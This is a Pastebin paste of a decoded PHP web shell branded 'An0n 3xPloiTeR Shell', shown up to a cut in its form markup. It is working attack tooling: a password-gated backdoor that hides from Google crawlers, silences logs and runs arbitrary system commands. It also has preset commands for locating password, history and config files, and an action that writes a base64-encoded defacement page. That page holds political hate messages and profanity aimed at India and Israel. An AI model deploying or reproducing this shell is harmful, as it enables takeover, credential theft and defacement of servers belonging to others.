API tools faq
paste
N1nj2x

Umar Afreens shell decoded

N1nj2x
Mar 23rd, 2017
102
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 226.26 KB | None | 0 0
raw download clone embed print report
  1.  
  2. ?><?php
  3. /*
  4. //++++++++======= Shell Made By An0n 3xPloiTeR :) =======++++++++ //
  5. //++++++++======= Special Thanks to: =======++++++++ //
  6.  
  7. # Shariq Maik | # Prinxe Haxi | # Devil Killer | # Ghazif Adeem | # Gujjar PcP | # Mr.X3r0 | # Kashmeeri Cheetah | # An0n 3xPloiTeR | # Zero Cool | # Wahab Hacker | # Rizi Haxor | # The Alien | # 3htisham | # And All Muslim Hackers <3
  8.  
  9. //++++++++======= Keep Visiting =======++++++++ //
  10.  
  11. // https://www.howtodohacking.wordpress.com //
  12.  
  13. // https://www.uexploit.blogspot.com //
  14.  
  15. // Hope You Dont Edit iT :) //
  16. */
  17. $auth_pass= "548fd23b9830a47161de90b1fa667562"; //Guess iT :V :v :V
  18. $deface = 'PCFET0NUWVBFIGh0bWw+CjxodG1sPgoJPGhlYWQ+CgkJPHRpdGxlPkhhY2tlZCBCeSBBbjBuIDN4UGxvaVRlUiB8IFRlYW0gUGFrIEN5YmVyIEdob3N0cyBbUC5DLkddPC90aXRsZT4KCQk8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KCQk8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iSGFja2VkIEJ5IEFuMG4gM3hQbG9pVGVSIiAvPgoJCTxtZXRhIG5hbWU9ImxvY2F0aW9uIiBjb250ZW50PSJIYWNrZWQgQnkgQW4wbiAzeFBsb2lUZVIiIC8+CgkJPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTgwMCI+PCEtLSBGb3IgUmVmcmVzaGluZyBQYWdlIEFmdGVyIDM2MDAgSW50ZXJ2YWxzIG9mIHRpbWUgLS0+CgkJPG1ldGEgbmFtZT0id29ya2luZyIgY29udGVudD0iSGFja2VkIEJ5IEFuMG4gM3hQbG9pVGVSIiAvPgoJCTxtZXRhIG5hbWU9ImFib3V0IiBjb250ZW50PSJIYWNrZWQgQnkgQW4wbiAzeFBsb2lUZVIiIC8+CiAgICAgICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJBbjBuIDN4UGxvaVRlUiwgVW1hciBBcmZlZW4gU2hhaCIgLz4KICAgICAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iSGFja2VkLEJ5LEFuMG4sM3hQbG9pVGVSLEhhY2tlZCBCeSBBbjBuIDN4UGxvaVRlUixBbjBuIDN4UGxvaVRlUiIgLz4KCQk8bWV0YSBuYW1lPSJyZXZpc2l0LWFmdGVyIiBjb250ZW50PSIxODAwIiAvPgoJCTxtZXRhIG5hbWU9Imxhbmd1YWdlIiBjb250ZW50PSJlbiIgLz4KCQk8bWV0YSBjb250ZW50PSdnZW5lcmFsJyBuYW1lPSdyYXRpbmcnIC8+CgkJPG1ldGEgY29udGVudD0nZ29vZ2xlJyBuYW1lPSdnZW5lcmF0b3InIC8+CgkJPG1ldGEgY29udGVudD0nZm9sbG93LGFsbCcgbmFtZT0nbXNuYm90JyAvPgoJCTxtZXRhIGNvbnRlbnQ9J2ZvbGxvdyxhbGwnIG5hbWU9J2FsZXhhYm90JyAvPgoJCTxtZXRhIGNvbnRlbnQ9J3Bha2lzdGFuJyBuYW1lPSdnZW8ucGxhY2VuYW1lJyAvPgoJCTxtZXRhIGNvbnRlbnQ9ImluZGV4LGZvbGxvdyxhbGwiIG5hbWU9Imdvb2dsZWJvdCIgLz4KCQk8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFLWVkZ2UiIC8+CgkJPGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vaS5pbWd1ci5jb20vSXgzbGhXbS5qcGciIC8+CgkJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPgoJCTxtZXRhIG5hbWU9J3NlYXJjaCBlbmdpbmVzJyBjb250ZW50PSdBZWl3aSxBbGV4YSxBbGxUaGVXZWIsQWx0YVZpc3RhLEFPTE5ldGZpbmQsQW56d2VycyxDYW5hZGEsRGlyZWN0SGl0LEV1cm9TZWVrLEV4Y2l0ZSxPdmVydHVyZSxHbyxHb29nbGUsSG90Qm90IEluZm9NYWssS2Fub29kbGUsTHljb3MsTWFjaGluZVNpdGUsTmF0aW9uYWwgRGlyZWN0b3J5LE5vcnRoZXJuIExpZ2h0LFNlYXJjaEl0LFNpbXBsZVNlYXJjaCxXZWJzTW9zdExpbmtlZCxXZWJUb3AsV2hhdC1VLVNlZWssQU9MLFlhaG9vLFdlYkNyYXdsZXIsSW5mb3NlZWssRXhjaXRlLE1hZ2VsbGFuLExvb2tTbWFydCxiaW5nLENORVQsR29vZ2xlYm90JyAvPgoJCTxzdHlsZT4KCQkJYm9keSB7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOwoJCQlTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgCgkJCVNDUk9MTEJBUi1ISUdITElHSFQtQ09MT1I6ICMwMDAwMDA7IAoJCQlTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMDAwMDAwOyAKCQkJU0NST0xMQkFSLUJBU0UtQ09MT1I6ICMwMDAwMDAKCQkJfQoJCQl0ZXh0YXJlYSB7CgkJCQlCQUNLR1JPVU5EOiAjMDgwNTEwOyAKCQkJCWJvcmRlci1sZWZ0OiBibGFjazsKCQkJCWJvcmRlci1yaWdodDogYmxhY2s7CgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsgCgkJCQlGT05UOiAxNXB4IFZlcmRhbmEsIFZlcmRhbmEsIFZlcmRhbmEsIFZlcmRhbmE7IAoJCQkJQ09MT1I6ICNkM2QzZDM7CgkJCX0KCQkJYSB7CgkJCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7CgkJCQljb2xvcjogdGVhbDsKCQkJfQoJCQlhOmhvdmVyIHsKCQkJCWNvbG9yOiByZWQ7CgkJCX0KCQkJLmRlZmFjZV9wYWdlewoJCQkJY29sb3I6IHJlZDsKCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC1zaXplOiAzMDAlOwoJCQl9CgkJCS5mb290ZXIgewoJCQkJcG9zaXRpb246IGZpeGVkOwoJCQkJYm90dG9tOiAxdmg7CgkJCQlsZWZ0OiAwcHg7CgkJCQlyaWdodDogMHB4OwoJCQkJY29sb3I6IHJlZDsKCQkJCWZvbnQtZmFtaWx5OiBjdXJzaXZlOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC1zaXplOiAxMTAlOyAKCQkJfQoJCTwvc3R5bGU+CgkJPC9oZWFkPgoJCTxib2R5IG9ubG9hZD0idHlwZV90ZXh0KCkiIGFsaW5rPSIjMDAwMDAwIiBiZ2NvbG9yPSIjMDAwMDAwIiB2bGluaz0iIzAwMDAwMCIgbGluaz0iI2MwYzBjMCIgdGV4dD0iIzAwMDAwMCIgb25jb250ZXh0bWVudT0ncmV0dXJuIGZhbHNlOycgb25rZXlkb3duPSdyZXR1cm4gZmFsc2U7JyBvbm1vdXNlZG93bj0ncmV0dXJuIGZhbHNlOyc+CgkJPGRpdiBhbGlnbj0iY2VudGVyIj4KCQk8c2NyaXB0IGxhbmd1YWdlPSJKYXZhc2NyaXB0Ij48IS0tCgkJdmFyIHRsPW5ldyBBcnJheSgKCgkJIiAgICIsCgkJIiAgIFsrXSBNZXNzYWdlOiAiLAoJCSIgICAiLAoJCSIgICBbK10gWW91ciBXZWJTaXRlIGhhdmUgYmVlbiBIYWNrZWQgQnkgQW4wbiAzeFBsb2lUZVIgOikiLAoJCSIgICAiLAoJCSIgICBbK10gRGVhciBBZG1pbiwiLAoJCSIgICAiLAoJCSIgICBbK10gVGhpcyBpcyBub3QgYSBqb2tlIG9yIGRyZWFtLCB0aGlzIGlzIGZ1Y2tpbmcgcmVhbGl0eSAhISEiLAoJCSIgICAiLAoJCSIgICBbK10gWW91IE1vdGhlciBGdWNrZXJzIEtpbGwgSW5ub2NlbnQgUGVvcGxlIEluIEthc2htaXIgQW5kIENhbGwgWW91ciBTZWxmIERlZmVuZGVycyBPZiBZb3VyIENvdW50cnkiLAoJCSIgICBbK10gWW91IExpdHRsZSBCaXRjaGVzIFZpb2xhdGUgVGhlIENlYXNlIEZpcmUgT24gQm9yZGVyIEFuZCBDYWxsIEl0IFwiU3VyZ2ljYWwgU3RyaWtlc1wiIiwKCQkiICAgIiwKCQkiICAgWytdIFlvdSBTdWNrZXJzIEFyZSBFdmVuIEFmcmFpZCBPZiBBIExpdHRsZSBQaWVnb24gbG9seiIsCgkJIiAgICIsCgkJIiAgIFsrXSBCdXJuIEJhYnkgQnVybiA6RCAhISEiLAoJCSIgICAiLAoJCSIgICAgICAgCQkJCQkJWy1dIEluZGlhbiBBcm15IEJlIExpa2UgICAgICAgICAgICAgIAkiLAoJCSIgICAiLAoJCSIgICBbK10gMjAxNiBXZSBXaWxsIEJlYXQgUGFraXN0YW4oV2hpY2ggVGhleSBDYW50IDopIiwKCQkiICAgLi4uLi4uLi4uLi4iLAoJCSIgICBbK10gMjAxOCBQYWtpc3RhbiBXaWxsIEJlIE5vIE1vcmUgKFdoaWNoIENhbnQgSGFwcGVuIDopIiwKCQkiICAgLi4uLi4uLi4uLi4iLAoJCSIgICBbK10gMjAyMCBXZSBHYWluZWQgQWNjZXNzIFRvIEV2ZXJ5dGhpbmcgaW4gUGFraXN0YW4gKGxvbHogOlApIiwKCQkiICAgLi4uLi4uLi4uLi4iLAoJCSIgICBbK10gMjAyNSBQaGFudG9tIElJIChBIE5ldyBGaWxtKSBsb2x6IDpQIHhEIiwKCQkiICAgIiwKCQkiICAgWytdIEhvcGUgV29udCBTZWUgWW91IEFnYWluIF5fXiIsCgkJIiAgICIsCgkJIiAgIFsrXSBQYXRjaCBZb3VyIFN5c3RlbSBEZWFyIEkgRG9udCBIYXZlIEFueSBGaWdodCBXaXRoIFlvdSBeX14gIiwKCQkiICAgIiwKCQkiICAgWytdIE5laXRoZXIgWW91IE5vciBJbmRpYW4gUGVvcGxlIDopIiwKCQkiICAgIiwKCQkiICAgWytdIEJ1dCBXaXRoIFlvdXIgRnVja2luZyBHb3Zlcm5tZW50IF5fXiIsCgkJIiAgICIsCgkJIiAgIFsrXSAmJiBEZWF0aCBUbyBJc3JhZWwiLAoJCSIgICAiLAoJCSIgICAgICAgICAgICAgICAgICAgICAgICAgCQkJWytdIEZyZWUgfiAhISEgS2FzaG1pciAhISEgfiA8MyIsCgkJIiAgICIsCgkJIiAgICAgICAgICAgICAgICAgICAgICAgICAJCQlbK10gUGFraXN0YW4gWmluZGFiYWQgPDMiLAoJCSIgICAiLAoJCSIgICBbLV0gSW5kaWFuIEFybXk6IERvb2RoIE1hbmdvIEdheSBLaGVlciBEYWluIEd5IEthc2htaXIgTWFuZ28gR3kgQ2hlZXIgRGFpbiBHeSIsCgkJIiAgICIsCgkJIiAgIFsrXSBQYWtpc3RhbmkgQXJteTogRG9vZGggQmhpIERhaW4gR2FpbiBLaGVlciBCaGkgRGFpbiBHYWluLCBLYXNobWlyIEJoaSBMYWluIEdhaW4gQ2hlZXIgQmhpIERhaW4gR2FpbiBeX14iLAoJCSIgICAiLAoJCSIgICBbK10gR3JlZXR6OiIsCgkJIiAgICIsCgkJIiAgIFsrXSAjIFNoYXJpcSBNYWxpayB8ICMgUGFrIEN5YmVyIEdob3N0cyB8ICMgRGV2aWwgS2lsbGVyIHwgIyBHaGF6aWYgQWRlZW0gfCAjIEthc2htZWVyaSBDaGVldGFoIHwgIyBBbjBuIDN4UGxvaVRlUiB8ICMgWmVybyBDb29sIHwgIyBXYWhhYiBIYWNrZXIgfCAjIFJpemkgSGF4b3IgfCAjIFRoZSBBbGllbiB8ICMgTXIuWDNyMCB8ICMgQW5kIEFsbCBNdXNsaW1zIDwzIHwgIyBNZSBBbHNvIDpQIgoJCSk7CgkJdmFyIHNwZWVkPTUwOwoJCXZhciBpbmRleD0wOyB0ZXh0X3Bvcz0wOwoJCXZhciBzdHJfbGVuZ3RoPXRsWzBdLmxlbmd0aDsKCQl2YXIgY29udGVudHMsIHJvdzsKCgkJZnVuY3Rpb24gdHlwZV90ZXh0KCkKCQl7CgoJCSAgY29udGVudHM9Jyc7CgkJICByb3c9TWF0aC5tYXgoMCxpbmRleC0xNSk7CgkJICB3aGlsZShyb3c8aW5kZXgpCgkJICAgIGNvbnRlbnRzICs9IHRsW3JvdysrXSArICdcclxuJzsKCQkgIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWzBdLnZhbHVlID0gY29udGVudHMgKyB0bFtpbmRleF0uc3Vic3RyaW5nKDAsdGV4dF9wb3MpICsgInwiOwoJCSAgaWYodGV4dF9wb3MrKz09c3RyX2xlbmd0aCkKCQkgIHsKCQkgICAgdGV4dF9wb3M9MDsKCQkgICAgaW5kZXgrKzsKCQkgICAgaWYoaW5kZXghPXRsLmxlbmd0aCkKCQkgICAgewoJCSAgICAgIHN0cl9sZW5ndGg9dGxbaW5kZXhdLmxlbmd0aDsKCQkgICAgICBzZXRUaW1lb3V0KCJ0eXBlX3RleHQoKSIsNTAwKTsKCQkgICAgfQoJCSAgfSBlbHNlCgkJICAgIHNldFRpbWVvdXQoInR5cGVfdGV4dCgpIixzcGVlZCk7CgkJfQoJCS8vLS0+PC9zY3JpcHQ+CgkJPGRpdiBjbGFzcz0iZGVmYWNlX3BhZ2UiPgoJCQk8Zm9udCBzdHlsZT0iY29sb3I6IHdoaXRlOyI+SGFja2VkIGJ5IDxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyI+QW4wbjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiBzaWx2ZXI7Ij4zeFBsb2lUZVI8L3NwYW4+PC9mb250Pjxicj4KCQkJPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogd2hpdGU7Ij5UZWFtPC9zcGFuPiZuYnNwOzxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyI+UGFrPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6IGxhd25ncmVlbjsiPkN5YmVyPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6IHNpbHZlcjsiPkdob3N0czwvZm9udD4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb250ZW50X29mX2RlZmFjZV9wYWdlIj4KCQkJPGZvcm0+CgkJCQk8Zm9udCBjb2xvcj0iI2ZmMDAwMCI+PGJyPgoJCQkJPHRleHRhcmVhIHJvd3M9IjIwIiBjb2xzPSIxMTAiIHJlYWRvbmx5PSJyZWFkb25seSI+PC90ZXh0YXJlYT4KCQkJCTwvZm9udD4KCQkJPC9mb3JtPgoJCQk8aWZyYW1lIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvbXhYaVFZUUlRRGM/cmVsPTAmYXV0b3BsYXk9MSZsb29wPTEmcGxheWxpc3Q9bXhYaVFZUUlRRGMiIGZyYW1lYm9yZGVyPSIwIiBhbGxvd2Z1bGxzY3JlZW4+PC9pZnJhbWU+CgkJPC9kaXY+CgkJPGRpdiBjbGFzcz0ic3ViLWZvb3RlciI+CgkJCTxkaXY+PGgxPjxmb250IGZhY2U9ImNhbGlicmkiIGNvbG9yPSJ3aGl0ZSI+UEFLSVNUQU48L2ZvbnQ+Jm5ic3A7PGZvbnQgY29sb3I9InRlYWwiIGZhY2U9ImNhbGlicmkiPn4mbmJzcDs8Zm9udCBmYWNlPSJjYWxpYnJpIiBjb2xvcj0iR1JFRU4iPlpJTkRBQkFEPC9mb250PjwvaDE+PC9kaXY+CgkJPC9kaXY+CgkJPGRpdiBjbGFzcz0iZm9vdGVyIj4KCQkJPGZvbnQ+CgkJCQlEZXZlbG9wZWQgQnkgCgkJCQk8YSBocmVmPSJodHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPUFuMG4gM3hQbG9pVGVSIiB0YXJnZXQ9Il9ibGFuayI+QW4wbiAzeFBsb2lUZVI8L2E+CgkJCTwvZm9udD4KCQk8L2Rpdj4KCTwvYm9keT4KPC9odG1sPg=='; //deface in base64.
  19. //Change Shell Theme here//
  20. $color = "#ABEFFF"; //Fonts color modify here.
  21. $Theme = '#09B5A6'; //Change border-color accoriding to your choice.
  22. $TabsColor = '#0E5061'; //Change tabs color here.
  23. $default_action = 'FilesMan';
  24. @define('SELF_PATH', __FILE__);
  25. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  26. header('HTTP/1.0 404 Not Found');
  27. exit;
  28. }
  29.  
  30. @session_start();
  31. @error_reporting(0);
  32. @ini_set('error_log',NULL);
  33. @ini_set('display_errors',0);
  34. @ini_set('log_errors',0);
  35. @ini_set('max_execution_time',0);
  36. @set_time_limit(0);
  37. @set_magic_quotes_runtime(0);
  38. if( get_magic_quotes_gpc() ) {
  39. function stripslashes_array($array) {
  40. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  41. }
  42. $_POST = stripslashes_array($_POST);
  43. }
  44.  
  45. function An0n3xPloiTeRlogin() {
  46. die ('<!DOCTYPE html>
  47. <html>
  48. <head>
  49. <title>An0n 3xPloiTeR Shell</title>
  50. <meta charset="UTF-8">
  51. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  52. <meta name="description" content="Sites description">
  53. <meta name="about" content="Made By An0n 3xPloiTeR">
  54. <link href="http://i66.tinypic.com/2j33a85.jpg" rel="Shortcut Icon" />
  55. <meta name="description" content="For Logging into the system">
  56. <style>
  57. .body {
  58. margin-top: 7vh;
  59. text-transform: capitalize;
  60. background: black url("http://i66.tinypic.com/2j33a85.jpg");
  61. background-repeat:no-repeat;
  62. background-position: center;
  63. background-attachment: fixed;
  64. -webkit-background-size: cover;
  65. -moz-background-size: cover;
  66. -o-background-size: cover;
  67. background-size: cover;
  68. }
  69. .font {
  70. font-family: calibri;
  71. font-size: 300%;
  72. text-align: center;
  73. color: white;
  74. }
  75. .upass {
  76. margin-top: 70vh;
  77. font-family: calibri;
  78. font-size: 100%;
  79. text-align: center;
  80. color: black;
  81. }
  82. .input {
  83. margin:0;background-color:black;border:1px solid black;
  84. }
  85. </style>
  86. <script language="JavaScript1.2">
  87. function ejs_nodroit(){
  88. alert("Login Please!");
  89. return(false);
  90. }
  91. document.oncontextmenu = ejs_nodroit;
  92. </script>
  93. </head>
  94.  
  95. <body class="body">
  96. <div class="font">
  97. <font>login Page</font><br>
  98. </div>
  99. <div class="upass">
  100. <form method=post>
  101. <input class="input" type="password" name="pass" size="25"/>
  102. </form>
  103. </div>
  104. </body>
  105. </html>');
  106. }
  107.  
  108. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  109. if( empty( $auth_pass ) ||
  110. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  111. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  112. else
  113. An0n3xPloiTeRlogin();
  114.  
  115. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  116. $os = 'win';
  117. else
  118. $os = 'nix';
  119. $safe_mode = @ini_get('safe_mode');
  120. $disable_functions = @ini_get('disable_functions');
  121. $home_cwd = @getcwd();
  122. if( isset( $_POST['c'] ) )
  123. @chdir($_POST['c']);
  124. $cwd = @getcwd();
  125. if( $os == 'win') {
  126. $home_cwd = str_replace("\\", "/", $home_cwd);
  127. $cwd = str_replace("\\", "/", $cwd);
  128. }
  129. if( $cwd[strlen($cwd)-1] != '/' )
  130. $cwd .= '/';
  131.  
  132. if($os == 'win') {
  133. $aliases = array(
  134. "List Directory" => "dir",
  135. "Find index.php in current dir" => "dir /s /w /b index.php",
  136. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  137. "Show active connections" => "netstat -an",
  138. "Show running services" => "net start",
  139. "User accounts" => "net user",
  140. "Show computers" => "net view",
  141. "ARP Table" => "arp -a",
  142. "IP Configuration" => "ipconfig /all"
  143. );
  144. } else {
  145. $aliases = array(
  146. "List dir" => "ls -la",
  147. "list file attributes on a Linux second extended file system" => "lsattr -va",
  148. "show opened ports" => "netstat -an | grep -i listen",
  149. "Find" => "",
  150. "find all suid files" => "find / -type f -perm -04000 -ls",
  151. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  152. "find all sgid files" => "find / -type f -perm -02000 -ls",
  153. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  154. "find config.inc.php files" => "find / -type f -name config.inc.php",
  155. "find config* files" => "find / -type f -name \"config*\"",
  156. "find config* files in current dir" => "find . -type f -name \"config*\"",
  157. "find all writable folders and files" => "find / -perm -2 -ls",
  158. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  159. "find all service.pwd files" => "find / -type f -name service.pwd",
  160. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  161. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  162. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  163. "find all .bash_history files" => "find / -type f -name .bash_history",
  164. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  165. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  166. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  167. "Locate" => "",
  168. "locate httpd.conf files" => "locate httpd.conf",
  169. "locate vhosts.conf files" => "locate vhosts.conf",
  170. "locate proftpd.conf files" => "locate proftpd.conf",
  171. "locate psybnc.conf files" => "locate psybnc.conf",
  172. "locate my.conf files" => "locate my.conf",
  173. "locate admin.php files" =>"locate admin.php",
  174. "locate cfg.php files" => "locate cfg.php",
  175. "locate conf.php files" => "locate conf.php",
  176. "locate config.dat files" => "locate config.dat",
  177. "locate config.php files" => "locate config.php",
  178. "locate config.inc files" => "locate config.inc",
  179. "locate config.inc.php" => "locate config.inc.php",
  180. "locate config.default.php files" => "locate config.default.php",
  181. "locate config* files " => "locate config",
  182. "locate .conf files"=>"locate '.conf'",
  183. "locate .pwd files" => "locate '.pwd'",
  184. "locate .sql files" => "locate '.sql'",
  185. "locate .htpasswd files" => "locate '.htpasswd'",
  186. "locate .bash_history files" => "locate '.bash_history'",
  187. "locate .mysql_history files" => "locate '.mysql_history'",
  188. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  189. "locate backup files" => "locate backup",
  190. "locate dump files" => "locate dump",
  191. "locate priv files" => "locate priv"
  192. );
  193. }
  194. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  195. $def = base64_decode($deface);
  196. file_put_contents($_POST['c'].$_POST['p2'],$def);
  197. }
  198. function ex($in) {
  199. $out = '';
  200. if(function_exists('exec')) {
  201. @exec($in,$out);
  202. $out = @join("\n",$out);
  203. }elseif(function_exists('passthru')) {
  204. ob_start();
  205. @passthru($in);
  206. $out = ob_get_clean();
  207. }elseif(function_exists('system')) {
  208. ob_start();
  209. @system($in);
  210. $out = ob_get_clean();
  211. }elseif(function_exists('shell_exec')) {
  212. $out = shell_exec($in);
  213. }elseif(is_resource($f = @popen($in,"r"))) {
  214. $out = "";
  215. while(!@feof($f))
  216. $out .= fread($f,1024);
  217. pclose($f);
  218. }
  219. return $out;
  220. }
  221.  
  222. function which($p) {
  223. $path = ex('which '.$p);
  224. if(!empty($path))
  225. return $path;
  226. return false;
  227. }
  228.  
  229. function printHeader() {
  230. if(empty($_POST['charset']))
  231. $_POST['charset'] = "UTF-8";
  232. global $color;
  233. global $Theme;
  234. global $TabsColor;
  235. echo "<html><head><link href='http://i66.tinypic.com/2j33a85.jpg' rel='Shortcut Icon' /><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
  236. echo '<html>
  237. <meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>An0n 3xPloiTeR Shell</title>
  238. <style>
  239. body {background-color:black;color:#fff;}
  240. body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
  241. span,h1,a { color:'.$color.' !important; }
  242. span { font-weight: bolder; }
  243. h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
  244. div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
  245. a { text-decoration:none; }
  246. a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
  247. a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
  248. .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
  249. .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
  250. input, textarea, select { margin-top:0;color:#ABEFFF;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
  251. input[type="button"]:hover,input[type="submit"]:hover {background-color:#ABEFFF;color:black;text-decoration:none;}
  252. form { margin:0px; background:#0F1010;}
  253. #toolsTbl { text-align:center; }
  254. .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
  255. .main th {text-align:left;background-color:'.$TabsColor.';}
  256. .main tr:hover{background:#000000; border:5px solid;border-color:#000000;}
  257. .main td, th{vertical-align:middle;}
  258. .menu { height:30px; border-radius:10px;}
  259. .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
  260. -moz-transform: rotate(20deg);
  261. -o-transform: rotate(20deg);
  262. -ms-transform: rotate(20deg);
  263. transform: rotate(20deg);}
  264. .menu th:hover{background:#0F1010;text-decoration: none;}
  265. pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
  266. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  267.  
  268.  
  269. .cpr {margin-bottom:5px;font-weight:bold; }
  270. .cpb {width:34px;margin:0 5px;}
  271.  
  272. .npoad td {padding:0;}
  273. #Smevktools{
  274. margin-top:50px;
  275. width:500px;
  276. border:1px solid;
  277. border-radius:10px;
  278. }
  279. .smevklogo td{
  280. font-size:12px;
  281. font-weight:bold;
  282.  
  283.  
  284.  
  285. }
  286. .smevklogo{
  287. margin-left:5px;
  288. background:url();
  289. background-repeat: no-repeat;
  290. background-position: CENTER;
  291. background-color:#0F1010;
  292. background-size: 400px 120px;
  293.  
  294.  
  295.  
  296. }
  297. </style>
  298.  
  299. </html>
  300. <style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  301. <script>
  302. function set(a,c,p1,p2,p3,charset) {
  303. if(a != null)document.mf.a.value=a;
  304. if(c != null)document.mf.c.value=c;
  305. if(p1 != null)document.mf.p1.value=p1;
  306. if(p2 != null)document.mf.p2.value=p2;
  307. if(p3 != null)document.mf.p3.value=p3;
  308. if(charset != null)document.mf.charset.value=charset;
  309. }
  310. function g(a,c,p1,p2,p3,charset) {
  311. set(a,c,p1,p2,p3,charset);
  312. document.mf.submit();
  313. }
  314. function a(a,c,p1,p2,p3,charset) {
  315. set(a,c,p1,p2,p3,charset);
  316. var params = "ajax=true";
  317. for(i=0;i<document.mf.elements.length;i++)
  318. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  319. sr("'.$_SERVER['REQUEST_URI'].'", params);
  320. }
  321. function sr(url, params) {
  322. if (window.XMLHttpRequest) {
  323. req = new XMLHttpRequest();
  324. req.onreadystatechange = processReqChange;
  325. req.open("POST", url, true);
  326. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  327. req.send(params);
  328. }
  329. else if (window.ActiveXObject) {
  330. req = new ActiveXObject("Microsoft.XMLHTTP");
  331. if (req) {
  332. req.onreadystatechange = processReqChange;
  333. req.open("POST", url, true);
  334. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  335. req.send(params);
  336. }
  337. }
  338. }
  339. function processReqChange() {
  340. if( (req.readyState == 4) )
  341. if(req.status == 200) {
  342. //alert(req.responseText);
  343. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  344. var arr=reg.exec(req.responseText);
  345. eval(arr[2].substr(0, arr[1]));
  346. }
  347. else alert("Request error!");
  348. }
  349. </script>
  350. <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  351. <form method=post name=mf style="display:none;">
  352. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  353. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
